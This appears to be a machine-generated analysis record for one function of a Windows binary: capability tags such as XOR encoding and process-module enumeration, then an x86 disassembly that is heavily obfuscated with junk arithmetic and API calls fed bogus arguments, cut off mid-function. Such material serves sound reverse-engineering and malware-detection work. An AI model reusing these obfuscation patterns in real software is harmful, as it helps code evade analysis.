Function at 0x40abd0
Capabilities:
Encode data using xor
Enumerate process modules
Extract resource via kernel32 functions
Get user security identifier

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
push esi
push edi
push 0x3af2
push 0x58bb
push 0x16977
push 0x143ee
push 0x115c2
push 0x3d8d
push 0xeb32
mov edi, 0xb0c2
mov dword [ebp - 0x2c], 0xa026
mov esi, 0x9046
mov dword [ebp - 0x48], 0x169e5
push 0x1831c
mov edx, 0x2844
mov dword [ebp - 0x60], 0x2054
mov ecx, 0x1789e
mov dword [ebp - 4], 0x510f
mov dword [ebp - 0x50], 0x6030
mov ebx, 0x1aff
mov dword [ebp - 0x40], 0xdb11
mov dword [ebp - 0x10], 0x43c5
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x1c], 0xfb81
mov dword [ebp - 8], 0x15297
mov dword [ebp - 0x14], 0xe41d
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x44], 0x1761c
mov dword [ebp - 0x18], 0x3dee
mov dword [ebp - 0x34], 0x1f03
mov dword [ebp - 0x58], 0x5ec1
mov dword [ebp - 0x54], 0xabbe
mov dword [ebp - 0x20], 0xfb77
mov dword [ebp - 0x24], 0x14458
call fcn.00401160
push 0xee47
mov ecx, 0x18108
mov dword [ebp - 0x28], eax
lea edx, [eax + 0x1b691]
call fcn.00401170
add esp, 0x24
mov dword [ebp - 0x5c], eax
cmp eax, 0xfda0
jge 0x40aead
mov ecx, dword [ebp - 0x48]
nop dword [eax + eax]
mov eax, dword [ebp - 0x14]
or ecx, 0xd9ea
xor dword [ebp - 8], eax
mov dword [ebp - 0x48], ecx
cmp ebx, 0x111c3
je 0x40adc7
mov eax, dword [ebp - 0x1c]
sub dword [ebp - 0x24], eax
xor eax, 0xdf19
mov edx, dword [ebp - 0x54]
sub dword [ebp - 0x40], 0x90be
add dword [ebp - 0x20], edx
cmp dword [ebp - 4], 0x12a32
mov dword [ebp - 0x1c], eax
jle 0x40adc7
add dword [ebp - 0x10], esi
xor ecx, eax
mov dword [ebp - 0x48], ecx
mov eax, ebx
mov ecx, dword [ebp - 0x58]
xor eax, ecx
xor dword [ebp - 0x60], eax
cmp dword [ebp - 0x2c], 0x637d
jle 0x40adca
and edx, dword [ebp - 0x28]
push 0x115df
push 0x831b
push 0x10049
push 0x18086
push 0x1087f
push 0x11310
push 0x44ef
push 0x1a94
push 0x2fe3
mov dword [ebp - 0x54], edx
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
or dword [ebp - 0x44], 0xb680
add esp, 0x24
or dword [ebp - 0x40], 0x15289
cmp dword [ebp - 0x1c], 0xe3a3
mov edx, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x58]
jge 0x40adcd
sub edi, dword [ebp - 0x48]
or edx, 0x113d2
add ecx, 0xbb10
mov dword [ebp - 0x34], edx
cmp dword [ebp - 0x48], 0x1535
jge 0x40adcd
mov eax, dword [ebp - 0x1c]
sub esi, 0x125e
and dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
xor dword [ebp - 0x14], 0x1175b
and eax, edx
dec edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x34], edx
jmp 0x40add0
mov ecx, dword [ebp - 0x58]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x28]
inc dword [ebp - 0x5c]
and ecx, 0x55be
or dword [ebp - 4], 0x1208d
xor ebx, 0x9a6a
or dword [ebp - 0x20], 0x1294a
mov dword [ebp - 0x58], ecx
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xe8dc
jge 0x40ae97
or edx, dword [ebp - 0x18]
add ecx, 0x24e8
add dword [ebp - 0x20], 0xff17
and eax, 0x12070
mov dword [ebp - 0x2c], ecx
sub ebx, 0x7fee
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x28], eax
and ecx, 0x6103
mov eax, dword [ebp - 0x1c]
sub ecx, dword [ebp - 0x60]
or eax, dword [ebp - 0x5c]
cmp dword [ebp - 0x54], 0x100a8
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x1c], eax
jge 0x40ae9a
add dword [ebp - 0x44], eax
and dword [ebp - 0x58], 0x123a0
cmp esi, 0x17711
jle 0x40ae9a
and dword [ebp - 0x10], 0xfdbd
push 0x124db
push 0xaa4c
push 0x9ca9
push 0x18329
push 0x82a3
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor dword [ebp - 0x60], 0x10a4a
add esp, 0x14
and dword [ebp - 0x24], 0x141e8
inc dword [ebp - 0x50]
mov dword [ebp - 0x18], 0
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x5c], 0xfda0
jl 0x40acd0
mov dword [ebp - 0xc], edi
mov dword [ebp - 0x4c], esi
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x1c]
add eax, 0xf7cc
push eax
mov eax, dword [ebp - 0x28]
add eax, 0xffff994f
push eax
lea eax, [ebx + 0x1395f]
push eax
lea eax, [edi + 0x36ce]
mov edi, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x48]
lea ecx, [ecx + 0x743d]
add eax, 0xffffd3a3
push eax
lea edx, [edi - 0x5160]
call fcn.00401150
mov edx, dword [ebp - 8]
lea ecx, [edi - 0x253e]
push ecx
mov ecx, dword [ebp - 0x44]
push 0x58bb
add ecx, 0xfffed01a
mov dword [ebp - 0x3c], eax
push 0x16977
push ecx
lea ecx, [edx - 0xa0c8]
add edx, 0xfffe71ba
push ecx
lea ecx, [eax - 0xd1db]
push ecx
mov ecx, dword [ebp - 0x28]
lea eax, [esi + 0xf2d6]
push 0xeb32
push eax
lea ecx, [ecx + 0x787e]
call fcn.00401160
mov edi, eax
add esp, 0x34
mov dword [ebp - 0x38], edi
lea eax, [edi + 0x7361]
mov dword [ebp - 0x5c], eax
test eax, eax
jle 0x40b0a1
mov edi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x44]
imul ecx, eax, 0xfffefabc
mov eax, dword [ebp - 0x28]
add dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x24]
nop word [eax + eax]
sub edx, 0x7fff
or ecx, 0xd710
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x24], ecx
cmp eax, 0x19ce
je 0x40b091
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x2c]
and ecx, 0xc928
and edx, 0x15130
xor ecx, 0xd1b9
or edx, 0xac4f
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x2c], edx
cmp edi, 0xe12b
jle 0x40b08b
mov esi, dword [ebp - 0x54]
sub ecx, 0xfb1a
add esi, dword [ebp - 8]
add dword [ebp - 4], 0xfb41
cmp dword [ebp - 0x50], 0x145cc
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], esi
jne 0x40b08b
sub dword [ebp - 0x54], 0x1814b
and ecx, ebx
mov dword [ebp - 0x40], ecx
xor eax, 0xec53
mov ecx, dword [ebp - 0x3c]
xor edi, 0x183f9
or dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x20], 0xa7cc
mov dword [ebp - 0x28], eax
jge 0x40b08b
mov eax, dword [ebp - 0x10]
add edx, 0xb244
add dword [ebp - 0x18], eax
add ecx, 0x145cc
push 0x3291
push 0x15a76
push 0x7b20
push 0x182a5
push 0x11f9f
add eax, 0xe960
mov dword [ebp - 0x2c], edx
push 0xc98
push 0xa195
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x10], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edx, dword [ebp - 0x44]
add esp, 0x1c
and dword [ebp - 0x20], edx
cmp dword [ebp - 0x3c], 0x9642
mov ecx, dword [ebp - 0x24]
jge 0x40b086
mov eax, dword [ebp - 0x58]
and eax, dword [ebp - 0x1c]
and dword [ebp - 0x2c], 0x14eb6
xor eax, 0x17497
mov dword [ebp - 0x50], 0x2a88
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x28]
jmp 0x40b091
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x44]
sub dword [ebp - 0x5c], 1
jne 0x40af70
mov dword [ebp - 0xc], edi
mov edi, dword [ebp - 0x38]
mov edx, dword [ebp - 0x50]
cmp edx, 0x6031
jge 0x40b23b
mov eax, dword [ebp - 8]
nop dword [eax]
nop word [eax + eax]
or dword [ebp - 0x44], 0x6e83
add eax, 0xa8b0
mov ecx, dword [ebp - 0x40]
mov dword [ebp - 8], eax
cmp ecx, 0xddbb
jne 0x40b110
push 0x18164
push 0x7374
push 0x25b7
push 0x12455
push 0x4ab6
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
sub dword [ebp - 0x1c], 0x9a43
add esp, 0x14
add dword [ebp - 0x58], edi
inc edi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0x50]
and dword [ebp - 0x10], 0xe632
add ecx, 0x6de0
xor dword [ebp - 0x44], 0xf138
inc edx
mov dword [ebp - 0x40], ecx
xor edi, 0xb8c1
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x50], edx
or ecx, 0x100fd
mov edx, dword [ebp - 0x3c]
add dword [ebp - 0x54], edx
mov dword [ebp - 0x28], ecx
cmp ebx, 0x2e37
je 0x40b22c
mov esi, dword [ebp - 0x2c]
add esi, dword [ebp - 0x50]
mov eax, dword [ebp - 0x48]
or edx, esi
sub eax, dword [ebp - 0x18]
xor dword [ebp - 0x60], 0x117e6
sub dword [ebp - 0x40], 0x33f3
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x1c]
add dword [ebp - 0x54], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], edx
mov edx, dword [ebp - 4]
add dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], esi
cmp eax, 0xbdf7
jne 0x40b22c
mov eax, dword [ebp - 0x54]
and ecx, 0x10a4b
sub dword [ebp - 0x10], eax
xor dword [ebp - 0xc], eax
mov eax, 0x15677
or dword [ebp - 0x44], 0x10716
mov dword [ebp - 0x28], ecx
mov dword [ebp - 8], eax
cmp esi, 0xd76d
jge 0x40b22c
mov eax, dword [ebp - 0x58]
and ecx, edx
or dword [ebp - 0x24], eax
push 0x8d42
push 0x6087
push 0x13730
push 0x7811
push 0x180e6
mov dword [ebp - 0x28], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
add esp, 0x14
cmp edi, 0x4d0f
je 0x40b229
mov esi, dword [ebp - 0x14]
and esi, dword [ebp - 0x58]
mov eax, dword [ebp - 0x1c]
or edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x54]
mov edx, dword [ebp - 0x34]
add ecx, eax
and dword [ebp - 0x1c], edx
add edx, ecx
xor dword [ebp - 0x24], eax
mov eax, 0x1d6b9
mov dword [ebp - 0x14], esi
mov esi, dword [ebp - 0x4c]
add esi, esi
mov dword [ebp - 8], eax
sub ecx, 0xd020
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x4c], esi
mov dword [ebp - 0x54], ecx
jmp 0x40b22c
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x50]
cmp edx, 0x6031
jl 0x40b0c0
mov esi, dword [ebp - 0xc]
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x50]
or edx, 0x1386b
add dword [ebp - 0x54], ecx
mov ecx, dword [ebp - 0x24]
or eax, dword [ebp - 0x58]
xor ecx, dword [ebp - 0x34]
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], ecx
cmp esi, 0xc831
jle 0x40b32c
xor ecx, dword [ebp - 0x44]
sub eax, 0x263d
xor dword [ebp - 0x50], 0x83fd
push 0xfb3a
push 0x1416e
push 0x15695
push 0x1dfc
push 0x8db5
push 0xacf2
push 0xa6f8
push 0x188e
push 0x767b
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x24], ecx
call dword [sym.imp.USER32.dll_GetTopWindow]
mov ecx, dword [ebp - 0x28]
mov eax, 0x9438
mov edx, dword [ebp - 0x60]
sub eax, ecx
add edx, eax
add esp, 0x24
or edi, 0xeae4
mov dword [ebp - 0x60], edx
cmp dword [ebp - 0x24], 0xf768
jne 0x40b331
mov eax, dword [ebp - 0x34]
and edx, dword [ebp - 0x58]
and eax, ecx
sub dword [ebp - 0x44], 0xd721
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x60], edx
cmp eax, 0x141b8
jne 0x40b331
mov eax, dword [ebp - 0x2c]
add edx, 0xfffe6e73
add eax, 0xffff0898
mov dword [ebp - 0x60], edx
mov edx, dword [ebp - 0x3c]
and ecx, 0xef9e
add eax, edx
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], eax
mov eax, 1
sub eax, dword [ebp - 0x54]
add dword [ebp - 0x1c], eax
jmp 0x40b334
mov ecx, dword [ebp - 0x28]
jmp 0x40b334
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
add edi, 0x8c10
mov esi, dword [ebp - 0x10]
and eax, 0xf236
inc dword [ebp - 0x48]
add esi, 0xffffaa9b
xor dword [ebp - 4], 0x122bf
xor esi, 0x160ac
and dword [ebp - 0x1c], 0x5520
mov dword [ebp - 0x54], eax
and eax, 0x10dd
and ebx, eax
mov dword [ebp - 0x10], esi
mov eax, dword [ebp - 0x2c]
xor dword [ebp - 0x20], eax
cmp dword [ebp - 0x48], 0x2c2
mov esi, dword [ebp - 0xc]
jl 0x40b244
mov eax, dword [ebp - 0x20]
add eax, 0xfffd3712
mov dword [ebp - 0x30], ebx
push eax
mov eax, dword [ebp - 0x48]
add eax, 0x1365e
push eax
lea eax, [edx - 0x4c4d]
mov edx, dword [ebp - 0x44]
push eax
mov eax, dword [ebp - 0x40]
add eax, 0x6905
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0xfffff194
push eax
lea eax, [edx - 0xe3c8]
push eax
lea eax, [ecx - 0x245d]
mov ecx, dword [ebp - 0x60]
push eax
lea eax, [edx + 0x4d8f]
push eax
lea edx, [edi + 0x19af7]
lea ecx, [ecx - 0x1327e]
call fcn.00401210
mov esi, dword [ebp - 0x4c]
add esp, 0x20
cmp dword [ebp - 0x14], 0xffffdeda
mov dword [ebp - 0x44], eax
jge 0x40b519
mov edx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
nop dword [eax + eax]
add edx, 0xffff032c
xor esi, 0xf417
or edx, dword [ebp - 0x24]
add eax, 0xf29e
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x20], eax
cmp esi, 0x1fc9
je 0x40b47b
mov eax, dword [ebp - 0x34]
add edx, 0xd920
mov ecx, dword [ebp - 0x24]
or ebx, eax
or dword [ebp - 0x1c], ecx
or eax, 0x1066b
add ecx, dword [ebp - 4]
or esi, 0xb10c
add dword [ebp - 0x10], 0xa11b
add dword [ebp - 0x28], 0x13b72
sub dword [ebp - 0x48], 0xa33f
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0xc]
add edi, dword [ebp - 0x34]
sub eax, 0x8180
mov dword [ebp - 0x30], ebx
and esi, ebx
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x24], ecx
jmp 0x40b47e
mov eax, dword [ebp - 0xc]
mov ebx, dword [ebp - 0x14]
xor edi, 0x88f4
or dword [ebp - 0x20], 0x183e9
inc ebx
and dword [ebp - 0x24], ebx
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
and ebx, dword [ebp - 0x18]
mov dword [ebp - 0x10], ebx
mov ebx, dword [ebp - 0x30]
cmp eax, 0x17604
jge 0x40b509
and edi, dword [ebp - 0x48]
xor ecx, 0x12521
sub edx, 0x89c0
mov dword [ebp - 0x28], ecx
cmp dword [ebp - 0x58], 0xd80d
mov dword [ebp - 0x3c], edx
jle 0x40b509
sub edx, dword [ebp - 4]
and edx, dword [ebp - 8]
add ebx, dword [ebp - 0x44]
and dword [ebp - 0x50], 0xc25d
or dword [ebp - 0x10], edi
push 0x5720
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.USER32.dll_GetParent]
mov eax, dword [ebp - 0x54]
add esp, 4
or dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 0x3c]
add eax, 0x15ca
dec dword [ebp - 0x40]
mov dword [ebp - 0x20], eax
jmp 0x40b50c
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x14], 0xffffdeda
jl 0x40b400
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
mov dword [0x47da00], 0x4f775566
nop dword [eax]
and dword [ebp - 4], 0x6273
or esi, 0x2e87
cmp dword [ebp - 0x40], 0x7a4d
jle 0x40b5c4
mov ecx, dword [ebp - 0x14]
and dword [ebp - 0x58], edx
and ecx, edi
and dword [ebp - 0x50], ebx
sub ecx, 0xda5b
xor dword [ebp - 0x34], 0x184ec
sub dword [ebp - 4], 0xd746
sub dword [ebp - 0x10], 0x268
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0xc]
cmp esi, 0xb648
jle 0x40b5c7
mov eax, dword [ebp - 0x58]
or edx, ecx
or eax, dword [ebp - 0x44]
sub dword [ebp - 0x20], 0xb2fd
mov ebx, dword [ebp - 0x24]
sub dword [ebp - 0x54], 0x102d3
xor dword [ebp - 0x3c], 0x4307
sub dword [ebp - 4], ebx
sub dword [ebp - 0x10], ebx
or dword [ebp - 0x20], edx
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x14]
add dword [ebp - 0x40], eax
mov eax, ecx
or eax, dword [ebp - 0x40]
and eax, dword [ebp - 0x2c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
or eax, 0x7d5b
dec dword [ebp - 0x14]
jmp 0x40b5c7
mov ecx, dword [ebp - 0xc]
sub eax, dword [ebp - 0x44]
inc edi
xor dword [ebp - 0x40], esi
inc edx
mov ebx, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
cmp edi, 0x15f01
jl 0x40b530
and dword [ebp - 0x24], 0x1375b
xor ecx, 0x9ed5
mov dword [ebp - 0x18], edx
mov edx, dword [ebp - 8]
and edx, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], edi
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
cmp eax, 0x12421
jle 0x40b64f
or edi, dword [ebp - 0x20]
and eax, 0x13c34
and dword [ebp - 0x54], 0xd5e
xor dword [ebp - 0x2c], 0x165f5
and dword [ebp - 0x44], 0x5951
cmp dword [ebp - 0x28], 0xde56
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x18], eax
jge 0x40b64f
xor ebx, dword [ebp - 0x24]
xor dword [ebp - 0x44], 0x17e08
add ebx, 0x1311e
mov eax, dword [ebp - 0x1c]
and dword [ebp - 0x54], eax
mov dword [ebp - 0x30], ebx
mov dword [0x47d9d8], 0x5544504f
cmp edx, 0xa13
jge 0x40b6c5
mov edi, dword [ebp - 0x40]
mov eax, 0xa13
sub eax, edx
mov edx, 0xa13
add dword [ebp - 0x3c], eax
mov dword [ebp - 0x60], eax
imul eax, eax, 0x113b4
mov dword [ebp - 8], edx
mov edx, dword [ebp - 0x44]
add ecx, eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], ecx
mov ecx, dword [ebp - 0x28]
nop dword [eax]
xor dword [ebp - 0x24], eax
or edx, ebx
or dword [ebp - 0x14], 0x7405
or esi, 0x15438
xor ecx, dword [ebp - 0x54]
dec eax
xor dword [ebp - 0x1c], 0x143b7
xor dword [ebp - 0x34], edi
sub dword [ebp - 0x60], 1
jne 0x40b690
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x44], edx
mov edx, dword [ebp - 8]
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x24]
lea eax, [ecx - 0x104c5]
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0xffff0b3b
push eax
lea eax, [edx + 0x15f64]
mov edx, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x20]
add eax, 0xfffc0400
push eax
mov eax, dword [ebp - 0x34]
lea edx, [edx + 0x814]
add eax, 0xffff5476
push eax
lea eax, [ecx - 0x1022a]
mov ecx, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x14]
add eax, 0xfffff38d
push eax
mov eax, dword [ebp - 0x58]
lea ecx, [ecx + 0x13c80]
add eax, 0x15e61
push eax
call fcn.00401160
mov edx, dword [ebp - 0x3c]
add esp, 0x20
add edx, dword [ebp - 0x40]
and dword [ebp - 0x48], 0x10d47
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xc]
xor eax, 0xc79e
mov dword [ebp - 0x3c], edx
mov dword [ebp - 0xc], eax
cmp edx, 0x3003
jle 0x40b86d
mov ecx, dword [ebp - 0x10]
or dword [ebp - 0x28], edx
or ecx, esi
xor eax, ecx
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x20]
sub eax, ebx
cmp dword [ebp - 0x58], 0x10fbc
mov dword [ebp - 0x20], eax
jne 0x40b870
mov edi, dword [ebp - 0x50]
and eax, 0x73e7
and dword [ebp - 0x48], ecx
xor ebx, esi
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 8]
add edi, eax
add edx, edi
mov dword [ebp - 0x60], edi
mov edi, dword [ebp - 0x38]
and ecx, eax
mov dword [ebp - 0x3c], edx
mov edx, dword [ebp - 0x10]
or edx, 0x61b2
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x1c], 0x12121
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x18], ecx
je 0x40b870
add ecx, 0x5cdc
cmp dword [ebp - 4], 0x1104a
mov dword [ebp - 0x18], ecx
jge 0x40b870
or dword [ebp - 0x40], eax
add ebx, 0xf06e
mov eax, dword [ebp - 0x60]
and dword [ebp - 0x34], edx
push 0x14501
push 0xeb6d
push 0x10c3d
push 0x1a70
push 0x15d7c
push 0xbd77
push 0xd7ce
push 0x8d2
mov dword [ebp - 0x30], ebx
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
mov ecx, dword [ebp - 0x40]
add esp, 0x20
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x1c], ecx
and eax, 0xffffa324
mov edx, dword [ebp - 0x48]
sub ecx, eax
or dword [ebp - 0x20], edx
add dword [ebp - 0xc], 0xe83a
and dword [ebp - 0x3c], 0x1116
cmp dword [ebp - 0x14], 0xccec
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x40], ecx
jne 0x40b868
sub eax, dword [ebp - 0x54]
or ecx, 0x824a
sub dword [ebp - 8], 0x1800b
sub dword [ebp - 0x24], edx
and dword [ebp - 0x50], 0x1e82
and esi, ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x18]
jmp 0x40b873
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp - 0x24]
add eax, 0xffff6429
push eax
mov eax, dword [ebp - 0x2c]
add eax, 0xffffeba0
mov dword [0x47d9f4], 0x76584171
push eax
lea eax, [edx - 0xc19]
push eax
lea eax, [ebx - 0x74d3]
push eax
lea eax, [ecx + 0xff26]
mov ecx, dword [ebp - 0x3c]
push eax
lea eax, [edx - 0x11490]
mov edx, dword [ebp - 0x14]
push eax
lea eax, [ebx - 0xd4de]
push eax
lea eax, [esi - 0xa381]
push eax
lea edx, [edx + 0x63c3]
lea ecx, [ecx - 0x469c4]
call fcn.00401210
mov ecx, dword [ebp - 8]
lea edx, [ebx - 0x5616]
mov eax, dword [ebp - 0x18]
add eax, 0xda3a
push eax
lea eax, [ecx + 0x12f0d]
push eax
lea eax, [edi - 0x2b63]
push eax
lea eax, [ecx + 0x13298]
push eax
mov eax, dword [ebp - 0x50]
add eax, 0x11ee4
push eax
mov eax, dword [ebp - 0xc]
add eax, 0x12dfd
push eax
lea eax, [ecx + 0xd28d]
mov ecx, dword [ebp - 0x48]
push eax
mov eax, dword [ebp - 0x14]
add eax, 0x64d9
push eax
lea ecx, [ecx - 0x107cf]
call fcn.00401210
mov ecx, dword [ebp - 8]
add esp, 0x40
mov edx, dword [ebp - 0x54]
add ecx, 0xe434
mov ebx, eax
mov dword [ebp - 0x14], ebx
push ecx
mov ecx, dword [ebp - 0x3c]
lea edx, [edx + 0x235fe]
lea ecx, [ecx - 0x2edf0]
call fcn.00401170
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x1c]
add ecx, 0x1fb22
push ecx
mov ecx, dword [ebp - 0x44]
add ecx, 0xfffee370
mov dword [ebp - 0x5c], eax
push ecx
lea ecx, [edi - 0x24fb]
push ecx
mov ecx, dword [ebp - 0x28]
lea edx, [edx + 0x8230]
add ecx, 0x46791
push ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0xfffe62d4
push ecx
mov ecx, dword [ebp - 0x3c]
lea ecx, [ecx - 0x2fd03]
call fcn.00401150
add esp, 0x18
mov ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x24], eax
mov byte [0x47da21], 0
lea ecx, [ecx - 0x45e0e]
call fcn.00401200
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x3fef
jge 0x40bbee
mov ebx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
nop
xor dword [ebp - 0x44], 0x6220
sub ecx, 0xbd62
and dword [ebp - 0x34], 0xf9a5
xor dword [ebp - 0x48], edx
mov dword [ebp - 0x2c], ecx
cmp edx, 0x17fb7
je 0x40bb15
mov eax, dword [ebp - 0x58]
xor eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x50]
xor ecx, dword [ebp - 8]
or ebx, dword [ebp - 0x34]
and dword [ebp - 0x48], 0xe08d
cmp dword [ebp - 0x5c], 0x12ff2
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2c], ecx
jne 0x40bb15
mov ecx, dword [ebp - 0x24]
mov eax, esi
sub dword [ebp - 0x48], 0x1d7ff
sub eax, ecx
add dword [ebp - 0x10], eax
or edx, 0x6c33
mov eax, dword [ebp - 0x40]
xor eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x40], eax
cmp edx, 0x5345
jge 0x40bae0
add dword [ebp - 0x34], 0xfcd4
and ebx, 0xef14
sub dword [ebp - 0x1c], 0x6c12
or edx, 0xf92f
sub eax, 0x3ceb
mov dword [ebp - 0x28], edx
add ebx, 0x6900
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x50], 0xf2ee
jne 0x40bae0
add ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
xor edx, eax
mov edi, dword [ebp - 0x10]
add eax, 0x7864
and dword [ebp - 4], edi
add eax, esi
mov dword [ebp - 0x24], ecx
mov ecx, dword [ebp - 0x44]
xor ecx, 0x581d
mov dword [ebp - 0x28], edx
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x44], ecx
cmp eax, 0x10fea
je 0x40bae0
and dword [ebp - 0x48], 0x32c8
and edx, 0x147aa
and ecx, 0x64a2
mov dword [ebp - 0x28], edx
xor dword [ebp - 0x38], 0x3542
mov dword [ebp - 0x50], 0xc912
mov dword [ebp - 0x44], ecx
push 0x846a
push 0x999a
push 0x17d6d
push 0xd2e9
push 0x18103
push 0x54a2
push 0x149d9
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
mov eax, dword [ebp - 0x18]
add esp, 0x1c
mov edx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
and dword [ebp - 0x1c], 0x29e6
inc eax
mov edi, dword [ebp - 0x44]
and dword [ebp - 0x34], edi
mov edi, dword [ebp - 0x58]
xor dword [ebp - 0x10], edi
add ebx, dword [ebp - 0x1c]
xor dword [ebp - 4], 0xe843
or edi, ebx
mov dword [ebp - 0x58], edi
mov edi, dword [ebp - 0x38]
mov dword [ebp - 0x18], eax
cmp ecx, 0xde56
jge 0x40bbdd
or dword [ebp - 4], 0xff61
xor esi, dword [ebp - 4]
cmp dword [ebp - 4], 0xd6ff
jle 0x40bbdd
push 0xb156
push 0x17f6
push 0x3790
push 0x8869
push 0xd203
call dword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
mov ecx, dword [ebp - 4]
add esp, 0x14
mov edx, dword [ebp - 0x28]
sub ecx, 0xf7f0
and dword [ebp - 0x34], ecx
cmp dword [ebp - 0x24], 0x6175
mov dword [ebp - 4], ecx
jle 0x40bbd7
mov eax, dword [ebp - 0x40]
add edi, dword [ebp - 0x1c]
add dword [ebp - 0x3c], eax
and dword [ebp - 0x5c], 0xdab0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x38], edi
cmp edx, 0x11310
jne 0x40bbda
xor ecx, dword [ebp - 0x5c]
sub edi, 0x1381
and dword [ebp - 0x58], 0x17761
inc dword [ebp - 0x20]
mov dword [ebp - 0x38], edi
mov dword [ebp - 4], ecx
jmp 0x40bbda
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x2c]
cmp eax, 0x3fef
jl 0x40b9d0
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x30]
lea edx, [ebx + 0x11e76]
mov eax, dword [ebp - 0x44]
add eax, 0xffff1668
push eax
lea ecx, [ecx - 0x7916]
